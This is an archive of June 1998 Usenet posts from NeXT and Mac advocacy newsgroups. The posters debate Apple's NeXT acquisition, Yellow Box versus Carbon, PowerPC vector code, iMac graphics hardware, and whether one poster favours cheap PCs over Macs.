: The Holy Java Revolution?
The interesting thing to me about Java on the Mac is not the technology,
but the social phenomenum. I think Java was rejected by much of the Mac
community as Not Invented Here, before the underlying technology was even
explored.
: Or the Patterns
: Movement? (Let's rule out the last one up front: "It's all been in the X
: Kit for years" as I've heard more than one old-time NeXters say.)
Design patterns have been around since the beginning of time. The
usefulness of the movement is that it creates a common language for
discussion of patterns - something that was missing.
John
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Message-ID: <1998062214100500.KAA08194@ladder03.news.aol.com>
Date: 22 Jun 1998 14:10:03 GMT
Organization: AOL http://www.aol.com
References: <6ml77u$pr6$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca said:
>Actually, ARDI isn't even close to having an emulator useful in doing work:
>
>- they have only implemented a subset of the System 7 APIs - they have only
>implemented a subset of the undocumented properties that MacOS applications
>rely on
Yes, but by shifting to Carbon, isn't Apple making ARDI's job much easier?
As I understand it, they've cut the amount of work ARDI has to do by 1/4th
(6,000 API calls down from 8,000) and by setting it as a specification without
access to the internals, cut down on the need for ARDI to puzzle out
undocumented shortcuts.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 09:37:08 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ml8k4$2hl$2@ns3.vrx.net>
References: <6me25j$32d$2@ns3.vrx.net> <B1B0B79C-60A0D@206.165.43.175>
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Cc: english@primenet.com
In <B1B0B79C-60A0D@206.165.43.175> "Lawson English" claimed:
> Not at all. You do what you always do (or at least, what *I* do) and test
> for the presence of a specific CPU and use a routine/method with an inner
> loop optimized for that CPU.
Which means two sets of code. However let's remember why people released
two binaries in the past - it's because using the SANE library itself
overwhelmed the performance benefits of the FPU. Thus the developers
released two versions, one that talked to SANE, and another that talked right
to the chip.
The situtaion here is possibly similar. Keeping track of two sets of code
in a single binary is terribly difficult to do.
> If they spend ANY time in the libs, they'd get some benefit.
Maybe maybe not. That's far too complex an issue to say at this time.
> multi-media/graphics oriented the app is. Someone on AIMED-talk asked about
> FP seismic data. If that data lends itself to vector arithmetic, then it
> also would benefit, no?
If and only if you program that app specifically to use the AV code.
> Depends on what a flight-simulator is doing, no?
Yes, and since I know a lot about that particular topic, the comment was
not made lightly.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 09:32:58 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ml8ca$2hl$1@ns3.vrx.net>
References: <6mdal0$i9a$1@ns3.vrx.net> <B1AFDDB1-429B3@206.165.43.105>
<6me25j$32d$2@ns3.vrx.net> <slrn6oltdu.ad8.jason@jhste1.dyn.ml.org>
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In <slrn6oltdu.ad8.jason@jhste1.dyn.ml.org> Jason S. claimed:
> What exactly does the 60x/7x0 FPU do that isn't in the above category.
Nothing. You have appearently missed all the content of this thread.
> besides the hideously inaccurate estimated sqrt reciprocal?
I know not of what you speak.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 09:38:01 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ml8lp$2hl$3@ns3.vrx.net>
References: <6m5048$189$1@nnrp1.dejanews.com> <B1AC8320-30EEA@209.152.194.60>
<6m8684$dbl$6@ns3.vrx.net> <358B260B.1C7EA7D@spamtoNull.com>
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Cc: Limeyville@spamtoNull.com
In <358B260B.1C7EA7D@spamtoNull.com> Jonathan Harker claimed:
> How well do you think Unreal would do on an iMac?
I don't know, I don't play that game.
Maury
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 14:44:55 GMT
Organization: I don't think so
Message-ID: <slrn6osrml.sp.jason@jhste1.dyn.ml.org>
References: <6mdal0$i9a$1@ns3.vrx.net> <B1AFDDB1-429B3@206.165.43.105> <6me25j$32d$2@ns3.vrx.net> <slrn6oltdu.ad8.jason@jhste1.dyn.ml.org> <6ml8ca$2hl$1@ns3.vrx.net>
Maury Markowitz posted the following to comp.sys.mac.advocacy:
>> besides the hideously inaccurate estimated sqrt reciprocal?
> I know not of what you speak.
See page 8-91 (p. 427 in the PDF version) of "PowerPC Microprocessor
Family: The Programming Environment For 32-Bit Microprocessors", which
is available from the Motorola website.
Actually, I seem to recall that Lawson mentioned that AltiVec _does_
do this type of thing, anyway.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 15:15:22 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6mlsea$ard@newsb.netnews.att.com>
References: <6mkd25$8c44@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <1db0zls.lcwst2v9czm0N@rhrz-isdn3-p59.rhrz.uni-bonn.de> <6mlh7o$g5l$1@news.tuwien.ac.at>
Originator: gupta@tlctest
Alexander Wilkie <wilkie@cg.tuwien.ac.at> wrote:
>This was what caused the current "back to Carbon" move at Apple, and the
>corresponding downplay of native YB, with all the Java crap thrown in. And
>please don't argue that "YB is going to be in Carbon anyway". If the past two
>months were not a "cold killing"[0] of a product (YB), what is?
Most users (as opposed to developers) couldn't care less about what bunch
of APIs was used to build their applications. All they care about is that
their applications are useable. So Yellow Box or Carbon is irrelevant to
the users.
[Maybe in the long run, the Yellow Box will give rise to less expensive
applications, or applications with more capabilities and many fewer
significant bugs. In that case, the users might begin to care.]
Doing the financial arithmetic, a company like Adobe would find
supporting only the old MacOS (Blue box), concentrating on Windows,
and ignoring the Yellow Box far cheaper and profitable than porting
Photoshop to the Yellow Box.
Most companies still developing for the Macintosh would come to the
same conclusion for their products.
These companies have Windows versions of their products already, and
would not gain much by the cross-platform nature of the Yellow box.
Then, Apple's next-generation OS would not have enough applications to
compel even current MacOS diehards to upgrade.
All this has nothing to do with the ossification of the gray cells of
MacOS developers. It has to do with the realities of the marketplace.
A business must spend its money where it expects to get the maximum
return. Apple represents at most 5% of the market that a software
house can potentially address. Converting a MacOS codebase or
Win32 and MacOS codebases to the Yellow Box is probably not the best
use of money for most businesses.
What the Yellow Box does is present an opportunity for new software
startups. Given the choices for a startup -- develop for the Macintosh
only using MacOS APIs, develop for Windows only using Win32, or develop
for both using the Yellow Box -- Apple has to make the third choice
a compelling one. If startups are not attracted to making applications
for Apple's OSes, then Apple is dead.
-arun gupta
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 15:36:09 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6osuf9.6e3.sal@panix3.panix.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <1db0zls.lcwst2v9czm0N@rhrz-isdn3-p59.rhrz.uni-bonn.de> <6mlnce$27m@nntp02.primenet.com>
On 22 Jun 1998 06:49:02 -0700, John Jensen <jjens@primenet.com> wrote:
>Myths aside, the PC mareket has been more about delivering old technology
>to a wide market than about inventing technology.
<clip>
>As the PC market soaked up the old technolgy, the PC makers had to look to
>smaller fringe players for new ideas.
>Along the way, PC makers racked up some solid inventions and innovations,
>but PCs are still more about delivering technology than inventing
>technology.
>If you want to find the edge, don't go to the store.
Very good points.
The $64,000 question: Will the combined NeXT/Apple be able to ship a better
set of technologies and market them effectively in order to survive and grow
in the next ten years?
Apple hasn't had anything like solid marketing since Apple ][ days, and
NeXT never marketed to the large audence.
The NeXT buyout only makes sense if Apple can now market what they bought
to their core users and grow that market.
--
sal@panix.com
Salvatore Denaro
From: Alan Frabutt <afrabutt@bcomp.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: sum it up: the Macintosh Faithful
Date: Mon, 22 Jun 1998 11:28:27 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <358E781B.EDBC8A6D@bcomp.com>
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NNTP-Posting-Date: 22 Jun 1998 15:41:34 GMT
Reading the postings from the Macintosh Faithful brought something to
mind. I once heard a radio show describing the work of brilliant
composer Camille San-soun (sp?)... talking of his mindset:
"...changing, over time, from radical revolutionary to crusty
reactionary..."
Kind of says alot, don't it?
Regards,
Alan Frabutt
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 16:13:05 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6mlvqh$ht4$1@news.cs.tu-berlin.de>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <6ml92f$2do$2@supernews.com>
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jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
[..]
>My position is, it really doesn't matter whether anyone else gets it: I'll
>write my code my way, and if anyone asks why I'm able to do it
>better/faster/cheaper, I'll tell them. It's the same thing Lispers and
>Smalltalkers have known for decades: the world isn't going to be convinced
>en masse, and we don't really need them to be.
Unless they start killing the environment we're using, and replacing
it with the hype-technology of the day.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
Message-ID: <358E8686.FEBF1301@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com>
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Date: Mon, 22 Jun 1998 16:25:46 GMT
NNTP-Posting-Date: Mon, 22 Jun 1998 16:25:46 GMT
Organization: MCI2000
Salvatore Denaro wrote:
>
> On Sat, 20 Jun 1998 03:27:15 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >Take it from me, the Rage Pro is "below average" (I'd give it at best a
> >C-) in the current state of 3d hardware. At 2d, I'd give it a flat C.
>
> Huh? It recieved awards as recent as May98. Go to http://www.atitech.ca/
> if you don't belive me.
I believe you alright, just I'm a little surprised at your naivety.
Computer Mag "awards" do not equate to either performance or value in
the real world. More rarely still, are they accurate. Good advice is to
take them *all* with a large grain of salt. When you've *personally*
worked with a wide variety of manufacturers' products then you actually
know something of some worth.
>
> >3dfx, Riva, and the soon-to-be-released Matrox MG 200, among others, are
> >*much* better at 3d and in the case of the Matrox and the Riva, their
> >included 2d puts the Rage Pro to absolute shame. It's not even close.
>
> They *should* do better than the ATI card, they *cost* more. The ATI
> Xpert@play/work costs less than half of what the 3dfx card costs. And it
> it 2d and 3d.
Right. As I said in the beginning, the ATI chips cost less because they
deliver less, and believe me they deliver a lot less than 20%.
>
> And comparing it to *soon to be released* cards is nonsense. The ATI
> cards that ship in the year 2000 will best the Matrox cards that ship
> in 1999. BFD. What can they sell me *now*?
Sorry, but the MG 200 Matrox series is slated for release *end of this
month!* Not 1999. Try again--you're guessing and stabbing at straws, and
it shows. Look, if the ATI tech was *great* I'd cheerfully *say* it was
great and chalk the inclusion of ATI tech up as a positive for Apple.
But while I can think of a long list of adjectives to describe ATI
graphics tech, "great" is nowhere among them (that's being charitable.)
####################################################################
Date: Mon, 22 Jun 1998 11:12:05 -0500
From: lkrupp@apci.net (Lawrence A. Krupp)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: sum it up: the Macintosh Faithful
Message-ID: <lkrupp-2206981112070001@cas-1-093.apci.net>
References: <358E781B.EDBC8A6D@bcomp.com>
Organization: Applied Personal Computing, Inc.
In article <358E781B.EDBC8A6D@bcomp.com>, Alan Frabutt
<afrabutt@bcomp.com> wrote:
> Reading the postings from the Macintosh Faithful brought something to
> mind. I once heard a radio show describing the work of brilliant
> composer Camille San-soun (sp?)... talking of his mindset:
>
> "...changing, over time, from radical revolutionary to crusty
> reactionary..."
>
> Kind of says alot, don't it?
>
> Regards,
> Alan Frabutt
Your point is well taken. However, where are the "radical revolutionaries"
today in the personal computer industry? Certainly not at Microsoft or
Intel. Not at Apple either. The closest thing we have to the revolutionary
ideas of the late seventies (when Bill Gates was coding a BASIC
interpreter and Steve Wozniak was designing the Disk II controller card)
is probably the Java movement and the Internet, and that ain't saying
much.
The Wintel era will fade also, and probably sooner than some people think.
Meanwhile I'll stick with the Macintosh for the time being, crusty
reactionary that I am.
By the way, it's "Saint-Sa
Message-ID: <358E8900.E21E6CC7@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <6map2e$hpd$1@ns3.vrx.net> <slrn6oig8c.k93.sal@panix3.panix.com> <358B3109.FBCEE71@spamtoNull.com> <slrn6or9rd.h0d.sal@panix3.panix.com>
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Date: Mon, 22 Jun 1998 16:36:19 GMT
NNTP-Posting-Date: Mon, 22 Jun 1998 16:36:19 GMT
Organization: MCI2000
Salvatore Denaro wrote:
>
> On Sat, 20 Jun 1998 03:44:17 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >Would someone please tell me what a "Voodoo RAGE" is?.....:)
> >As I understand it, Voodoo is made by 3dfx, "rage" is made by ATI.
>
> If you bothered to read the rest of the thread, you would have seen
> that Maury made a slight typo and refered to the Voodoo rush as the
> Voodoo rage.
I did in fact see that. However, it was in a *later* post, and thus I
did not see it until after I had posted the query.
Satisfied?.....:)
Date: Mon, 22 Jun 1998 12:41:18 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Message-ID: <joe.ragosta-2206981241190001@wil51.dol.net>
References: <6mkd25$8c44@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <1db0zls.lcwst2v9czm0N@rhrz-isdn3-p59.rhrz.uni-bonn.de> <6mlh7o$g5l$1@news.tuwien.ac.at> <6mlsea$ard@newsb.netnews.att.com>
In article <6mlsea$ard@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Alexander Wilkie <wilkie@cg.tuwien.ac.at> wrote:
>
> >This was what caused the current "back to Carbon" move at Apple, and the
> >corresponding downplay of native YB, with all the Java crap thrown in. And
> >please don't argue that "YB is going to be in Carbon anyway". If the
past two
> >months were not a "cold killing"[0] of a product (YB), what is?
>
>
> Most users (as opposed to developers) couldn't care less about what bunch
> of APIs was used to build their applications. All they care about is that
> their applications are useable. So Yellow Box or Carbon is irrelevant to
> the users.
>
> [Maybe in the long run, the Yellow Box will give rise to less expensive
> applications, or applications with more capabilities and many fewer
> significant bugs. In that case, the users might begin to care.]
That's _exactly_ the point of YB.
[snip}
>
> What the Yellow Box does is present an opportunity for new software
> startups.
That, too.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: 22 Jun 1998 16:30:13 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd9df9$cdb439c0$c07498cf@edwint.rauland.com>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com> <slrn6ojoni.plc.sal@panix3.panix.com> <1daul49.wxuhrx1wimy47N@pppsl844.chicagonet.net> <slrn6ol1ff.7ec.sal@panix3.panix.com> <1daz78h.1k5p4nwk30efhN@pppsl564.chicagonet.net> <slrn6ordpq.m4l.sal@panix3.panix.com>
Salvatore Denaro <sal@panix3.panix.com> wrote in article
<slrn6ordpq.m4l.sal@panix3.panix.com>...
> On Sun, 21 Jun 1998 20:01:19 -0600, Edwin E. Thorne
<ethorne@chicagonet.net> wrote:
> >> I never said that it was, and AFAIK Steve never said it either. His
point
> >> was that Apple had no product in that price range.
> >I don't need to be told what his point was, thank you, I've seen enough
> >of his posts to know what that is.
>
> Why are you wasting everyone's time for then? Steve was complaining that
> he could not get a Mac for his $1300 budget. When he wound a Mac in that
> price range, he bought it. How is this Mac bashing?
That's a wonderful job of making a conclusion based on looking at only what
you want to see.
> >> Great. Now, do you think Apple should build Performa 6400's till the
> >> end of the world, or should they try and build better machines?
> >That's a silly question. Apple was building "better" machines at the
> >time that I bought my Performa, and I was well aware of that fact.
>
> Then why do you object to his posts that Apple should build better
> machines?
I never made any such objection. I only objected to Mac bashing and PC
advocacy on comp.sys.mac.advocacy.
>
> >> Prove it. Show me the posts. Forward me some quotes. From *all* of the
> >> posts that I've seen, Steve has been saying that Apple lacked a
product
> >> in the $1k US range, not that cheap PCs are better than Macs.
> >The posts are in the Deja News record for you to see, there is no need
> >for me to dredge them up for you. Just do a power search from Januraury
> >to May of this year on macghod@concentric.net and read what comes up.
>
> I've been reading all the posts he has made (that were xposted to the
next
> newsgroups) since last year. At no time did I see any posts that fit
> your description.
That's the problem. Not all of his messages were cross posted to NeXT
news groups.
>
> I even responded to a few posts he made. In some cases I debated against,
> and in some cases I debated for what he posted. I've even exchanged email
> with him. I don't think he is a mac basher at all. From waht I seen, he
> is very fair and very objective.
I find that he plays both ends against the middle.
> >If that doesn't prove me correct to you, then all I can say is you have
> >your opinion, and I have mine.
>
> Fair enough.
>
> >I've reposted three of macghod's messages in one of my replies to Steve
> >(macghod) elsewhere in this thread, BTW
>
> I just might respond if those posts make it to the NeXT newsgroups...
>
> --
> sal@panix.com
> Salvatore Denaro
>
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.portables,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: 22 Jun 1998 16:54:06 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd9dfd$2328b900$c07498cf@edwint.rauland.com>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com> <macghod-2106980128060001@sdn-ar-001casbarp119.dialsprint.net> <1dayl8u.15m6dyx1hpuo3N@pppsl564.chicagonet.net> <macghod-2206980102010001@sdn-ar-001casbarp157.dialsprint.net>
Steve Sullivan <macghod@concentric.net> wrote in article
<macghod-2206980102010001@sdn-ar-001casbarp157.dialsprint.net>...
>
> > Perhaps you'd like to reread three of your posts that I've pasted in
> > below, that advocate PCs that are slightly above, at, and below $1K?
> >
> >
> > Quoted message #1:
> >
> > Subject: Re: I have a $1600 g3 and people think pcs are cheaper.
> > From: macghod@concentric.net
> > Date: 1998/05/03
> > Message-ID: <6iicui$rns$1@newsfep4.sprintmail.com>
> > Newsgroups: comp.sys.mac.advocacy
> > [More Headers]
> > [Subscribe to comp.sys.mac.advocacy]
> >
> >
> > In <6ii07b$caq@mozo.cc.purdue.edu> Your Name wrote:
> >
> > > You guys try and find me a cheap PII upgradeble notebook PC.
> > > At Apple you can get one for less than $2500.
> >
> > I am sorry, at the $2500 mark and above pc notebooks simply cant
> > compare.
> > Of course the $1000 active matrix NEW pc notebooks are much better than
> > apples low end. But no pc can even compare to even the old g3
powerbook
> > speed wise
>
>
> Thats for a notebook.
So? It's still a cheap PC, and you are advocating it in that post. Yet
you deny advocating cheap PCs.
>
>
> > running on a PC with OPENSTEP, the year 2000 bug-free operating system
> > NeXTMail and MIME OK!
> >
> > End of quoted message #1.
> >
> > See your message up there? Of course, it says, $IK PC notebooks are
> > much better than low end Macs. Guess what? You bought a low end Mac,
> > and the discount is besides the point.
>
> Thats apples and oranges. And that has nothing to do with g3's. That
> merely said a $1000 active matrix pc at 133 mhz is a better value than a
> 133 mhz 1400 for $2000, which is about how much it cost.
So you in fact advocate cheap PCs, even though you deny doing it. I happen
to think the value of a computer is measured by more than its purchase
price, BTW.
>
> > Quoted message # 2:
> >
> > Subject: A bad aspect of macs
> > From: macghod@concentric.net
> > Date: 1998/05/01
> > Message-ID: <6ibl6v$6m$2@newsfep2.sprintmail.com>
> > Newsgroups: comp.sys.mac.advocacy,comp.sys.mac
> > [More Headers]
> > [Subscribe to comp.sys.mac.advocacy]
> >
> >
> >
> > The price. For instance, you can get a k6 233 with 64 megs ram, 4 gig
> > hard drive, cd rom, 4 meg video card BRAND NEW for $900. It runs
> > OPENSTEP GREAT! What mac can you buy brand new, that has 64 megs ram, 4
> > gig hard drive (or if its a scsi 2 gig is acceptable) 4 meg video, runs
> > rhapsody, for $900 new?!?!?
> >
> > If you want to argue g3's, a g3 minitower at 233 mhz, will be about
> > $2600 with similiar features as a p2 400 for $2200. Guess what, the p2
> > 400 is faster. So its faster AND less expensive. What else matters?
> >
> > --
> > running on a PC with OPENSTEP, the year 2000 bug-free operating system
> > NeXTMail and MIME OK!
> >
> > End of qouted message #2.
> >
> > See that message up there? See how you talk about how great of a deal
> > a $900 PC is? Tell me, would that be the sub-$1K PC that Mr. Truthful
> > says he never mentioned?
>
> Its a ok deal. That particuliar system is what my roommate has. I
> wouldnt compare it to a g3 tho, since you need about a p2 300 to be
> equivalent to a g3 233.
You denied ever even mentioning sub-$IK PCs Steve, that's why I quoted the
message. Would you care to address that point?
>
>
>
> > Quoted message #3.
> >
> > Subject: Re: Chew on this, Merced dreamers.
> > From: macghod@concentric.net (macghod)
> > Date: 1998/02/10
> > Message-ID: <macghod-1002982321230001@ts015d31.lap-ca.concentric.net>
> > Newsgroups: comp.sys.mac.advocacy
> > [More Headers]
> > [Subscribe to comp.sys.mac.advocacy]
> >
> >
> > In article <6br082$e6k@lehi.kuentos.guam.net>, crobato@kuentos.guam.net
> > (Robato Yao) wrote:
> >
> >
> > > >No, I think that proves that "buck" is important all by itself.
Those
> > > >systems don't have much bang at all (no L2 in some of them, for
example).
> > >
> > > Or they use cheap CPUs like Cyrix MediaGX or Intel P166MMX.
Cheapest
> > > Mac clone, brand new not refurbished, has at least 200MHz 603e CPU.
> >
> >
> > True. And those are fairly slower than a 603.
> >
> > Tho in the $1000 area you can get a nicely decked amd k6 233 (pentium 2
> > 233 speed except for floating point, right?) with 64 megs ram and 4 gig
> > hard drive and 83 mhz bus
> >
>
> > This one above is about PCs at $1100, or in other words, cheap PCs.
If
> > you were "raving the heck" out of that $1200 G3 that you bought, as you
> > said you would do in that message, I must confess to overlooking those
> > posts. Will you admit there are none? I don't think there's any way I
> > can cut and paste to prove something doesn't exist.
>
>
> That was many many months ago.
> And no I stand by everything I said. That k6 running openstep was a DAMN
> FINE MACHINE!! But by now it is way bellow $900, and so is the
> performance for what I would want.
>
>
>
>
>
>
> > Besides the above three were you are four square in favor of cheap PCs
> > over Macs,
>
> No, this is absolutely wrong. I am not in favor of buying a brand new p2
> 300 with 64 megs ram, a minitower case with 4 bays, a good video card
that
> works well with openstep/rhapsody and has at least 4 megs of vram, at
> least a 4 gig hard drive instead of a similiarly configured g3 at the
same
> price.
>
> But chances are it wont be at the same price. A p2 300 like the above
> will cost about $1200, and it will run rhapsody or openstep awesome. If
> you can get a g3 for $1200, take it. Chances are you wont be able to.
>
>
> > there are many little snippets in messages made by you from
> > January to May of this year that say or imply the same thing. Will you
> > admit saying that getting your father a cheap PC would give you a
chance
> > to learn Windows 95, or do I have to cut and paste everything to get
you
> > to admit to the truth you claim you're here to present?
>
> Sure I will admit that.
>
>
>
> > > >and now you bought a Mac for more, after fighting Joe
> > > > Ragosta tooth and nail when he told you that a G3 could be had for
the
> > > > price you paid.
> > >
> > >
> > > Does getting the facts right even concern you in the least? I paid
$1200
> > > plus shipping for it, $1250 out the door. Can you name ONE
authorized
> > > apple dealer who sells it for under $1550? The g3 233 goes for about
> > > $1600. THe wholesale price is about $1500 for resellers in the US.
Some
> > > unauthorized resellers get g3's from "other" sources and sell them
for
> > > about $1500. These places are being actively fought by APple, and
you may
> > > not even be able to buy a g3 from them anymore for this price, due to
> > > operation starlight.
> > >
> > > Joe said you could get a g3 233 for $1400. He later explained this
as a
> > > bad habit he got from his wife, see the lowest price on g3's was
about
> > > $1490 (greymarket) and he has a bad habit of truncating it instead of
> > > properly rounding.
> >
> > Your quibbling on a minor point. Joe tried hard to convince you that
> > G3 Macs are a good deal, and you fought him every inch of the way. I
> > grant I was $200 off, but the main point remains.
>
> And for someone who wants to run openstep, I still dont think $1700 is a
> good deal.
>
>
> I bought it for $1200 ($1250 out the door), a g3 costs about $1550 (about
> $1650 out the door), thats $350 difference. And it was also $350 I didnt
> have. I did have $1250.
>
>
>
> > Not only did you post favoring PCs, you slammed Steve Jobs and Apple
> > every chance that you got. It was really quite strange, when you come
> > down to it, that you on the one hand thought Steve Jobs is incompetent,
>
> No, I never said he was incompetent. I did say if reports about him were
> true, then I would be uncomfortable with the actions. Specifically the
> reports of how he treated interviewees.
>
>
> > and yet used him as an example of someone using NeXT on a PC to back
> > your advocacy of it.
>
> I am not a pc advocate. THo the good deals one can get on a pc may be
> good for some to use openstep.
>
> I stand by almsot every post I have made. The only posts that I dont
> stand by are related to the steve jobs interview story, where I was very
> out of line to another person. This person basically defended how steve
> treated this lady, and I acted similiar to how he acted, in my mind I was
> exemplifying how wrong jobs action was, if it was true. THis was in bad
> taste, so if you want to make me feel bad you can attack me on that, but
> trying to make me feel bad for anything about the costs of p2's will have
> no effect.
>
> --
> So many pedestrians, so little time.
>
Message-ID: <358E86B9.5E41A912@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <358BD202.1C45C63B@chem.uit.no> <slrn6or9e4.h0d.sal@panix3.panix.com>
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Content-Transfer-Encoding: 7bit
Date: Mon, 22 Jun 1998 16:26:36 GMT
NNTP-Posting-Date: Mon, 22 Jun 1998 16:26:36 GMT
Organization: MCI2000
Salvatore Denaro wrote:
>
> On Sat, 20 Jun 1998 17:15:14 +0200, Jostein Johansen <jostein@chem.uit.no> wrote:
> >The Rage Pro (turbo) gets about 38% of Voodoo2 performance wich is not
> >very impressing.
>
> Well, it does it at less than half the price. And it has 2d and mpeg. If
> you need 3dFX, you can get it on a Mac. You can even use PC 3dFX cards
> if you want.
Not on the iMac, you can't. And that was the topic.
Message-ID: <358E87AC.E71448B3@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com>
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Date: Mon, 22 Jun 1998 16:30:39 GMT
NNTP-Posting-Date: Mon, 22 Jun 1998 16:30:39 GMT
